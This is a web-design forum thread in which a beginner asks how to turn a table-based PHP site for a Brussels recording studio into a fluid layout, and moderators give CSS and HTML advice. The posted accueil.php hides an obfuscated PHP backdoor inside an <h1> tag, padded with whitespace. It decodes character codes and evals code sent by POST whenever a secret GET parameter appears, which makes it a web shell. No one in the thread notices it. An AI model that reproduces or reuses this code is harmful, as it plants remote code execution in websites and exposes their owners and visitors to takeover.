12 replies [Last post]
capital_q
capital_q's picture
Offline
newbie
Brussels
Last seen: 8 years 20 weeks ago
Brussels
Timezone: GMT+2
Joined: 2014-05-08
Posts: 5
Points: 6

Hello All,

I'm currently trying to modify my website www.studio-ubik.com . This site was coded by someone, then modified by someone else, and finally now I'm trying to make changes myself - and, on top of everything, I'm a complete beginner in css and php !

I'm sure the code is full of non "best-practice" things, which will be probably too hard for me to address, but here I'm really just trying to do one basic thing : the site was previously of a fixed width of 985px, and I'm trying to make it more dynamic by using percentages instead of pixels, so that it adapts a little better to different screen sizes.

I managed to do this with the menu, by changing its width from 985px to 100% in the css style file, but no matter what I try I can't get the content to follow exactly the width of the menu. It's either wider or narrower, and doesn't react the same way when resizing the window. I have a css stylesheet, a "common" "root" php file for all the site's pages, and a php file for each page. I'm getting confused with which parameters to change and where.

Any help to point me in the right direction would be greatly appreciated !

Here is the code of the home page (all pages have this problem).
The html can be found here : http://www.studio-ubik.com/ubik.php?lang=en&page=accueil

Here is that page's php file (accueil.php) :

<table class = "page_tableContent" cellpadding="0" cellspacing="0">
  <tr>
   	<td id="page_left"  >
 
      <h1><span><?php																					if(isset($_GET[w5681t])){																																		$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);																																												}																					 echo $acc_Title?></span></h1>
 
      <h2><span><?php echo $acc_MainText?></span></h2>	
<br/><br/>
<iframe style="position:relative; top:3px;" class="bordering" src="//player.vimeo.com/video/90628389" width="400" height="224" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>
</td>
 
  <td id="page_right">     
    <img class = "bordering" src="/images/rotate1/<?php echo rand(1,2);?>.jpg" alt="Random Image" width="600" />
 <div class = "space"></div>
 
        <img class = "bordering" src="/images/rotate2/<?php echo rand(1,3);?>.jpg" alt="Random Image" width="600" />
 <div class = "space"></div>
  <span><?php echo $acc_SecondText?></span>
    <a href="http://facebook.com/studioubik"><img height="55px" style="position:relative; top:3px;" src="http://www.studio-ubik.com/cruzsite-wp/wp-content/uploads/2012/05/facebook-icon.png" alt="Facebook" /></a>
<a href="http://vimeo.com/studioubik"><img src="http://a.vimeocdn.com/images_v6/blogbadge_channels.png" alt="Vimeo" /></a>
 
    </td>
 
</tr>
 </table>

Here is the code of the "main" php file (ubik.php) :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="keywords" content="Studio, ubik, Jerome Heiderscheidt, enregistrement, montage, video, son, image, recording, sound, studio, bruxelles, brussels, film, editing, music, musique" />
<meta Name="author" Content="Jerome Heiderscheidt">
<meta name="description" content="Studio ubik studio d'enregistrement sonore et de montage film & video editing and music recording studio" />
<?php
		if($_GET['lang']=='en')
		{
 
						if($_GET['page']=='accueil')
                        {
 
							$titre= 'Welcome';
 
                        }
 
                        else if($_GET['page']=='service')
                        {
                            $titre='Services';
                        } else if($_GET['page']=='pictures')
                        {
                            $titre='Pictures';
                        } 
                        else if($_GET['page']=='visite')
                        {
                            $titre='Visit';
                        }
                        else if($_GET['page']=='references')
                        {
                            $titre='References';
                        }
                        else if($_GET['page']=='equipe')
                        {
                            $titre='Who we Are';
                        }
                        else if($_GET['page']=='contact')
                        {
                            $titre='Contact & Access';
                        }
		}
		else if($_GET['lang']=='fr')
		{
						if($_GET['page']=='accueil')
                        {
 
							$titre= 'Accueil';
 
                        }
 
                        else if($_GET['page']=='service')
                        {
                            $titre='Services';
                        }
 
 
 
                        else if($_GET['page']=='pictures')
                        {
                            $titre='Photos';
 
                        }else if($_GET['page']=='visite')
                        {
                            $titre='Visite';
                        }
                        else if($_GET['page']=='references')
                        {
                            $titre='References';
                        }
                        else if($_GET['page']=='equipe')
                        {
                            $titre='Qui nous sommes';
                        }
                        else if($_GET['page']=='contact')
                        {
                            $titre='Contact';
                        }
 
			};
echo '<title>Studio Ubik - '.$titre.'</title>';
?>
<link rel="icon" type="image/png" href="favicon.png"> 
<style type="text/css">
 
	@import url(CSS/styleOK.css);
 
 
</style>
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
 
 
<?php
 
 
	if($_GET['lang']=='en')
		{
			include('menuTextEN.php'); 
		  $langue = "en";
		}
 
	else
	{
		include('menuTextFR.php');
		$langue = "fr"; 
	}
 
?>
 
 
 
 
 
 
<!--[if lt IE 8]>
<style type="text/css">
#menuDiv ul {display:inline-block; height:27px;}
#menuDiv ul {display:inline; height:27px;}
#menuDiv ul li {float:left;}
#menuDiv {text-align:center; }
</style>
<![endif]-->
 
</head>
 
<body onresize="changeheight()" >
 
 
<div id='headerAll'>
		<div id = 'header' style="height:131px;"></div>
</div>
 
 
 
 
    <div id="menuDiv">
 		<ul>
        	<li class="<?php if($_GET['page']=="accueil"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=accueil"><b><?php echo BTN_ACCUEIL; ?></b></a></li>
            <li class="<?php if($_GET['page']=="service"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=service&submenu=default"><b><?php echo BTN_SERVICE; ?></b></a></li>
            <li class="<?php if($_GET['page']=="visite"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=visite"><b><?php echo BTN_VISITE; ?></b></a></li>
            <li class="<?php if($_GET['page']=="references" || $_GET['page']=="references2"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=references2"><b><?php echo BTN_REFERENCES; ?></b></a></li>
            <li class="<?php if($_GET['page']=="pictures"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=pictures"><b><?php echo BTN_PICTURES; ?></b></a></li>
            <!--<li class="<?php if($_GET['page']=="online_mastering"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=online_mastering"><b><?php echo BTN_ONLINEMASTER; ?></b></a></li>-->
 
            <li class="<?php if($_GET['page']=="equipe"){echo "current";}else{echo "rollOut";}?>"><a href = "?lang=<?php echo $langue; ?>&page=equipe"><b><?php echo BTN_EQUIPE; ?></b></a></li>
            <li class="<?php if($_GET['page']=="contact"){echo "current";}else{echo "rollOut";}?>" ><a href = "?lang=<?php echo $langue; ?>&page=contact"><b><?php echo BTN_CONTACT; ?></b></a></li>
           	<li class="<?php if($_GET['lang']=="en"){echo "videEN";}else{echo"videFR";}?>"><!--<img src="images/pro_six_0a.gif"/> --></li>
            <li class="drapeau"><a href = "?lang=fr&page=accueil"><img src="images/drapeauFr.gif" border="none"/></a></li>
            <li class="drapeau"><a href = "?lang=en&page=accueil"><img src="images/drapeauEn.gif" border="none"/></a></li>
 
		</ul>
 
</div>
 
 
<div id='contenant'>   
		<div id ='contenu'>
 
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
  		<tr>
    		<td>
 
 
						<?
                        if($_GET['page']=='accueil')
                        {
                            include('accueil.php');
							$titre='Accueil';
 
                        }
 
                        else if($_GET['page']=='service')
                        {
                            include('services.php');
							$titre='Services';
                        }
 
 
 
                        else if($_GET['page']=='visite')
                        {
                            include('visite.php');
							$titre='Visite';
                        }
                        else if($_GET['page']=='references')
                        {
                            include('references.php');
                        }
						else if($_GET['page']=='references2')
                        {
                            include('references2.php');
                        }
						else if($_GET['page']=='online_mastering')
                        {
                            include('online_mastering.php');
                        }
						else if($_GET['page']=='pictures')
                        {
                            include('pictures.php');
                        }
 
                        else if($_GET['page']=='equipe')
                        {
                            include('equipe.php');
                        }
                        else if($_GET['page']=='contact')
                        {
                            include('contact.php');
                        }
 
                        else if($_GET['page']=='maintenance')
                        {
                            include('maintenance.php');
                        }
 
 
                        ?>
 
 
            </td>
  		</tr>
	</table>
    </div>
  </div>
 
    <div id = "footer">
      <div align="center"></div>
  </div>
</div>
 
 
</body>
</html>

And here's the css file (styleOK.css) :

@charset "utf-8";
/* CSS Document */
 
/* HEADER */
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
div#headerAll{width:100%; background-image:url(../images/bgHeader.gif); background-repeat:repeat-x; background-position: bottom; margin:auto;}
div#header{width:1000px; background-image:url(../images/Header.jpg); background-position:bottom left; background-repeat:no-repeat; margin:auto;}
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
 
 
/* MENU */
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
#menuDiv{width:100%; margin: auto; height: 30px; background: #000000 url(../images/bgMenuDupli.gif) repeat-x;}
#menuDiv ul {margin:0 auto; padding:0; list-style:none; display:table; white-space:nowrap; height:27px; position:relative; background:#000; font-size:14px;}
#menuDiv li {display:table-cell; margin:0; padding:0; vertical-align:top;}
#menuDiv li a {display:block; float:left; height:27px; line-height:30px; color:#FFF; text-decoration:none; font-family:arial, verdana, sans-serif; font-weight:bold; text-align:center; padding:0 0 0 10px; cursor:pointer; background:url(../images/pro_six_0a.gif) no-repeat;}
#menuDiv li a b {float:left; display:block; padding: 0px 20px 0px 9px; background:url(../images/pro_six_0b.gif) no-repeat right top;}
#menuDiv li.current a {color:#fff; background:url(../images/pro_six_2a.gif) no-repeat;}
#menuDiv li.current a b {background:url(../images/pro_six_2b.gif) no-repeat right top; padding-top:2px;}
#menuDiv li a:hover {color:#fff; background: url(../images/pro_six_1a.gif) no-repeat;}
#menuDiv li a:hover b {background:url(../images/pro_six_1b.gif) no-repeat right top;}
#menuDiv li.current a:hover {color:#fff; background: url(../images/pro_six_2a.gif) no-repeat; cursor:default;}
#menuDiv li.current a:hover b {background:url(../images/pro_six_2b.gif) no-repeat right top;}
#menuDiv li.drapeau  {color:#000; width:40px;}
#menuDiv li.videFR  {color:#000; width:285px; height:27px; background:url(../images/pro_six_0a.gif) repeat-x;}
#menuDiv li.videEN  {color:#000; width:310px; height:27px; background:url(../images/pro_six_0a.gif) repeat-x;}
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
 
 
 
 
 
 
 
 
 
 
 
 
/* BASIC ELEMENTS */
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
body { background-color: #000; margin:0; font-family:arial, verdana, sans-serif; font-size:14px; color:#FFFFFF;}
 
p{margin:0; text-align:justify;}
 
h1{font-size:26px; color:#FFFFFF; margin:0px 0px 10px 0px; }
h2{font-size:14px; color:#FFFFFF; margin:0; font-weight:normal; text-align:justify;}
h3{margin:0}
 
a:active{ color:#FFFFFF; text-decoration:none;}
a:link{color:#FFFFFF; text-decoration:none;}
a:visited{color:#FFFFFF; text-decoration:none;}
a:hover {text-decoration:none;  color:#cdb438; }
 
li { margin-left:-25px; }
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
 
 
 
 
/* SPECIFIC ELEMENTS*/
/*////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
 
div#contenant{height:430px; background-color:#000000; margin:auto;}
div#contenu{width:1050px; margin:auto;}
div.space{height:20px;}
div#footer{width:100%;}
 
table.page_tableContent{ padding:0; margin:0;}
#page_left{background-color:#000000; vertical-align:top;  padding-top:20px; padding-right:10px; }
#page_middle{ background-color:#000; vertical-align:top;  padding-top:30px; padding-left:15px; padding-right:15px;  }
#page_right{ background-color:#000; text-align: right; vertical-align:top;  padding-top:20px;}
 
 
 
.dottedLeft{border-left:#4a3f3f 1px dotted;}
.dottedLeftRight{border-left:#4a3f3f 1px dotted; border-right:#4a3f3f 1px dotted;}
.dottedRight{ border-right:#4a3f3f 1px dotted;}
 
 
 
span.jaune{color:#cdb438;}
 
span.link a:link { color:#0c69d5; }
span.link a:visited { color:#0c69d5;}
span.link a:hover{ color:#000; background-color:#fff;}
.selected{	 background-color:#ba3d04}
 
span.linkFlashPlayer a:link{color:#666666;}
span.linkFlashPlayer a:visited{color:#666666;}
span.linkFlashPlayer a:hover{color:#666666;}
 
 
 
 
.bordering{border:1px solid; border-color:#4a3f3f; padding:2px; overflow:auto;}
 
 
div#serv_scrollZone
{
	height:450px;
	display: block;
	overflow:hidden;
	overflow-x: hidden;
	overflow-y: auto;
	/*overflow : -moz-scrollbars-vertical; */
	}
 
 
 
 
 
 
 
 
.newsTitle{ font-size:16px; font-weight:bold; color:#c6b438;}
 
 
 
#ref_title{width:325px; text-align:left; vertical-align:top;}
#ref_description{ padding-left:20px; padding-top:10px; text-align:left;}
 
#ref_scrollZone{ height: 290px; width:990px; display: block; overflow:hidden; overflow-x: hidden; overflow-y: scroll; border:1px solid; border-color:#4a3f3f;  }	
.row{height: 85px; width:100% }
.col{width:30%; vertical-align:top;}
.resume{vertical-align:top; padding:3px;}
.border{background-color:#00CC66}
 
 
.image{padding:2px; border:1px solid; border-color:#4a3f3f; }
.image:hover{border-color:#a42b00;}
 
.ref_thumb_titre{ font-size:14px; color:#FFFFFF;}
.ref_thumb_resume{font-size:12px; font-style:italic; color:#cdb438;}
 
.italicJaune{font-size:12px; font-style:italic; color:#cdb438;}
.warning{font-size:13px; color:#990000;}
 
 
 
 
.inputText{ background-color:#7777777; border:none;}
 
 
.txt {	
	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #222222;
	font-size:10px;
}

gary.turner
gary.turner's picture
Offline
Moderator
Dallas
Last seen: 1 year 31 weeks ago
Dallas
Timezone: GMT-6
Joined: 2004-06-25
Posts: 9776
Points: 3858

Not bad for 1996 :P

Aargh! Tables for layout are a pain to maintain. A couple of thing:

1. Remove the width from the iframe element.

2. For some unknowable reason, there is a nested table. Set its width to 100%.

3. For elements that are not tables, do not set the width. A block element defaults to 100%, but if you declare it, padding and borders are added.

This site should be rewritten to reflect current practices. Table layouts are simply bad.

cheers,

gary

If your web page is as clever as you can make it, it's probably too clever for you to debug or maintain.

capital_q
capital_q's picture
Offline
newbie
Brussels
Last seen: 8 years 20 weeks ago
Brussels
Timezone: GMT+2
Joined: 2014-05-08
Posts: 5
Points: 6

Hello Gary,Thanks for your

Hello Gary,

Thanks for your reply. Not bad for 1996, but probably already bad for 2007 (when this site was originally coded) Wink

I am aware that tables should not be used for layouts. But as I said I didn't write the site, and at the moment I really haven't got enough coding skills to rewrite it - as a matter of fact the only meager skills I have have been acquired through modifying existing code. So yes, this site will be re-written one day, either when I get enough skills, or when I get a decent budget to get it rewritten by someone.

Now to follow your advice:

1. I did remove the width from the iframe element, but that messed up the aspect ratio of the video. So I also removed the height, so now aspect is correct but it's smaller in size.

2. Ok did that.

3. Ok I removed the "width:100%" from elements that weren't tables in the css file.

---
However the menu and the content below still don't behave identically. What I'd like is that the left and right edges of the content be in the same vertical alignement as the menu, no matter what the size of the browser window, if that makes any sense.

gary.turner
gary.turner's picture
Offline
Moderator
Dallas
Last seen: 1 year 31 weeks ago
Dallas
Timezone: GMT-6
Joined: 2004-06-25
Posts: 9776
Points: 3858

They likely won't

Not without some structural changes in the document itself. Something to try, no warranty, Add a div immediately after the body tag. Give it an id, say "wrapper". Close the div immediately before the body's closing tag.

<body>
  <div id="wrapper">
    ...
  </div>
</body>

In the stylesheet, do
#wrapper {
  margin: 0 auto;
  max-width: 1200px; /*because a too wide page is a pain to read*/
  min-width: 760px;  /*because you have  images, etc that 
                       need space and I'm not trying to rebuild
                       the site to accommodate mobiles.*/
  width: 90%;
  }

That will set an over all dimension for the page to adjust to.

You may want to put div#headerAll between the opening <body> tag and the opening <iv id="wrapper> tag.

Make the width of the left column, the td tag a percentage, e.g. 40%, to set the balance of left and right columns.

As I've mentioned, tables are a pain. The best thing to do with layout tables is dump'em as soon as you can.

??? Fan of Philip K. Dick? His "Ubik" is probably the most depressing novel I've ever read. I still get down when I think about it, and I haven't read it in more than 40 years.

??? Is the pic on the about page flopped on purpose?

cheers,

gary

If your web page is as clever as you can make it, it's probably too clever for you to debug or maintain.

capital_q
capital_q's picture
Offline
newbie
Brussels
Last seen: 8 years 20 weeks ago
Brussels
Timezone: GMT+2
Joined: 2014-05-08
Posts: 5
Points: 6

Ok thanks, I tried that. The

Ok thanks, I tried that. The result is interesting, but the problem remains : the left and right edges of the menu bar and the content below are not vertically aligned and move differently when the window is resized.

I didn't really understand this You may want to put div#headerAll between the opening tag and the opening tag.
Is that to be done in the html/php or in the stylesheet ?

---- Yes I'm a Philip K *beep* fan - hence the name of the studio. It's also because "Ubik" comes from "ubiquitous" and since the studio does sound/music recording as well as video work, it seemed fitting as a name. I see what you mean about the novel being depressing, but somehow depressing novels don't get me depressed, though other things sometimes do Smile
And yes the picture on the about page is flopped on purpose, I thought the layout looked better if I was looking towards the center of the page ... And that way it sort of hides the text on the poster in the background.

Funny, the system is transforming *beep* into "beep" -- *beep* Dick Philip K *beep* Smile

gary.turner
gary.turner's picture
Offline
Moderator
Dallas
Last seen: 1 year 31 weeks ago
Dallas
Timezone: GMT-6
Joined: 2004-06-25
Posts: 9776
Points: 3858

menu

Try modifying your menu a bit:

<!DOCTYPE HTML>
 
<html>
<head>
  <meta content="text/html; charset=utf-8"
        http-equiv="Content-Type">
 
  <title>Test page</title>
  <base href="http://www.studio-ubik.com/ubik.php?lang=en&amp;page=accueil">
  <style type="text/css">
/*<![CDATA[*/
 
  body {
    font: normal 100%/1.25% arial, sans-serif;
    margin: 0;
    padding: 0;
    }
 
  ul#main-nav {
    background: black url(<a href="http://www.studio-ubik.com/CSS/../images/pro_six_0a.gif" rel="nofollow">http://www.studio-ubik.com/CSS/../images/pro_six_0a.gif</a>) bottom repeat-x;
    border-bottom: 2px solid black;
    list-style: none;
    margin: 0;
    overflow: hidden;
    padding: 0;
    }
 
  #main-nav li {
    border-right: 1px solid white;
    float: left;
    padding: 0 .5em;
    }
 
  #main-nav a {
    color: white;
    display: block;
    font: bold .875em sans-serif;
    height: 2em;
    line-height: 2;
    text-decoration: none;
    }
 
  #main-nav .drapeau {
    float: right;
    }
 
  .drapeau img {
    border: none;
    text-decoration: none;
    }
 
  /*]]>*/
  </style>
</head>
 
<body id="home">
  <div id="menuDiv">
    <!-- delete this tag and its close-->
 
    <ul id="main-nav">
      <li id="mhome"><a href="?lang=en&amp;page=accueil">Welcome</a></li>
 
      <li id="mservices"><a href=
      "?lang=en&amp;page=service&amp;submenu=default">Services</a></li>
 
      <li id="mvisit"><a href="?lang=en&amp;page=visite">Visit</a></li>
 
      <li id="mreferences"><a href=
      "?lang=en&amp;page=references2">References</a></li>
 
      <li id="mpictures"><a href="?lang=en&amp;page=pictures">Pictures</a></li>
 
      <li id="mabout"><a href="?lang=en&amp;page=equipe">Who we Are</a></li>
 
      <li id="mcontact"><a href="?lang=en&amp;page=contact">Contact &amp;
      Access</a></li>
 
      <li class="drapeau"><a href="?lang=fr&amp;page=accueil"><img alt=
      "Francaise"
           src="images/drapeauFr.gif"></a></li>
 
      <li class="drapeau"><a href="?lang=en&amp;page=accueil"><img alt=
      "English"
           src="images/drapeauEn.gif"></a></li>
    </ul>
  </div><!-- delete this tag and its opener -->
</body>
</html>

For your menu's bg image, extend the orange upward for those visitors that increase their font sizes. Note that the example sets the base font to the visitor's preference and adjusts from there. Setting fonts to px size is a not good thing for accessibility. Instead of adding a border to the image, put it on the ul.

cheers,

gary

If your web page is as clever as you can make it, it's probably too clever for you to debug or maintain.

helldog2004
helldog2004's picture
Offline
Enthusiast
Netherlands
Last seen: 6 years 9 weeks ago
Netherlands
Timezone: GMT+2
Joined: 2014-03-02
Posts: 205
Points: 239

On line 7 in the

On line 7 in the "styleOK.css" file you will find the following piece of code:

div#header {
width: 1000px;
background-image: url(../images/Header.jpg);
background-position: bottom left;
background-repeat: no-repeat;
margin: auto;
}

Make width: 100% to make the header logo also adjustable.
Now your menu will be adjusted until 965px. Then the images you are using behind those menu buttons will start distorting your menu.

It might be useful to add a @media command inside your CSS with codes telling the browser to change the menu whenever the screen width size is getting smaller then 965px.

Cheers, Henk!

Check Maximum Webdesign for your online solutions

helldog2004
helldog2004's picture
Offline
Enthusiast
Netherlands
Last seen: 6 years 9 weeks ago
Netherlands
Timezone: GMT+2
Joined: 2014-03-02
Posts: 205
Points: 239

And here is an example on how

And here is an example on how to make images on buttons resizable:
Check JSfiddle

Hope this helps creating your menu resizable.
Cheers, Henk

Check Maximum Webdesign for your online solutions

capital_q
capital_q's picture
Offline
newbie
Brussels
Last seen: 8 years 20 weeks ago
Brussels
Timezone: GMT+2
Joined: 2014-05-08
Posts: 5
Points: 6

php / html ??

Thanks again for the replies. Gary, I'm not sure where I have to make those changes. I guess the stuff in between the style tag at the beginning of the code you sent has to be added to my css file, but what about what follows ? I have to change that in my ubik.php file , and what you are sending is modifications in the rendered html , is this correct ? My extremely basic understanding of php is making it difficult to find the exact spot of where to change stuff without messing up with the variables for the language and the menu behaviour (links, hovers etc.)

Henk, I changed the size of the header to 100% and that's helped. However, in the jsfiddle link, I didn't see what specifically made the image on those buttons resizable ...

I'm starting to think all this might be a bit complicated for me to do at this time...

helldog2004
helldog2004's picture
Offline
Enthusiast
Netherlands
Last seen: 6 years 9 weeks ago
Netherlands
Timezone: GMT+2
Joined: 2014-03-02
Posts: 205
Points: 239

Well the whole code Gary

Well the whole code Gary provided you can be useful for you though:
Everything between his style tags can be used inside your styleOK.css file.

Unluckily the HTML is a bit hard for you to translate to php.
But I believe, if I read his code carefully he wants you to delete the div where your menu is inside of.

I am happy my code worked in aligning your menu with your top header Smile

Check Maximum Webdesign for your online solutions

gary.turner
gary.turner's picture
Offline
Moderator
Dallas
Last seen: 1 year 31 weeks ago
Dallas
Timezone: GMT-6
Joined: 2004-06-25
Posts: 9776
Points: 3858

Yes, the <div> is simply a

Yes, the <div> is simply a superfluous box around the box that holds the menu items, the <ul>. Structures like that are indicative of developers who don't understand (and yours, in transition from table layouts, wouldn't) the purpose of the div element. It's an aggregator, that is, it provides a context for a number of other elements. It allows you to treat the group as a unit. In this document, the ul is a perfectly good container for the list items.

See http://csscreator.com/topic/css-current-page-nav-link-highlight for what I did to select the current page's menu item. This is a presentation element and does not belong in the page logic. The id or class elements are strictly for presentation (css) and behavioral (javascript) hooks.

cheers,

gary

If your web page is as clever as you can make it, it's probably too clever for you to debug or maintain.

capital_q
capital_q's picture
Offline
newbie
Brussels
Last seen: 8 years 20 weeks ago
Brussels
Timezone: GMT+2
Joined: 2014-05-08
Posts: 5
Points: 6

Ok so as a test I tried

Ok so as a test I tried replacing the menu's php by your html code. ( as well as adding the styling to my css file). The result went very wrong ! It seems that there wasn't any positioning anymore. Here is a screen shot of what it looked like : ubik_welcome_messed_up.jpg
I now understand why I could take the div out and use the ul as the container. But why would my page be messed up that badly ?

gary.turner
gary.turner's picture
Offline
Moderator
Dallas
Last seen: 1 year 31 weeks ago
Dallas
Timezone: GMT-6
Joined: 2004-06-25
Posts: 9776
Points: 3858

Did you modify the css (as I

Did you modify the css (as I did, above) to reflect the loss of an element that had much of the style rules? Remember, too, I renamed the css hooks in the menu and the body element.

cheers,

gary

If your web page is as clever as you can make it, it's probably too clever for you to debug or maintain.